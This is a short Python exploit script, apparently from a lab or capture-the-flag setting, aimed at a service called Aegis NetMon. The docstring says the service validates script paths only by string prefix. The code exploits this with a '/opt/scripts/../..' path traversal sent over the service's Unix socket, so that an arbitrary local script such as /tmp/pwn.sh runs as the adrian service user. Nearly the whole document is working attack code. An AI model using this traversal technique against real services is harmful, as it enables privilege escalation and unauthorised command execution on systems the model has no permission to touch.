#!/usr/bin/env python3 """Execute a local script through the Aegis NetMon IPC socket as adrian. netmon_service.py validates script paths with: if not script_path.startswith("/opt/scripts/"): deny It never resolves '..', so '/opt/scripts/../../tmp/x.sh' passes the check and is executed by /bin/bash as the adrian service user. Run this as a member of the operator group (the socket is 0660 adrian:operator). Usage: python3 netmon_run.py /tmp/pwn.sh """ import socket import sys import time SOCKET_PATH = "/run/netmon/netmon.sock" ALLOWED_PREFIX = "/opt/scripts/" def traverse_path(path: str) -> str: if path.startswith(ALLOWED_PREFIX): return path if not path.startswith("/"): raise ValueError("script path must be absolute") return "/opt/scripts/../.." + path def main() -> None: if len(sys.argv) != 2: print(f"usage: {sys.argv[0]} /absolute/path/to/script.sh", file=sys.stderr) sys.exit(1) script = traverse_path(sys.argv[1]) print(f"[*] RUN {script}") with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as sock: sock.settimeout(10) sock.connect(SOCKET_PATH) try: sock.recv(4096) except socket.timeout: pass sock.sendall(f"RUN {script}\n".encode()) time.sleep(1) chunks = [] while True: try: data = sock.recv(8192) except socket.timeout: break if not data: break chunks.append(data) if b"netmon> " in data: break sys.stdout.write(b"".join(chunks).decode(errors="replace")) sock.sendall(b"QUIT\n") if __name__ == "__main__": main()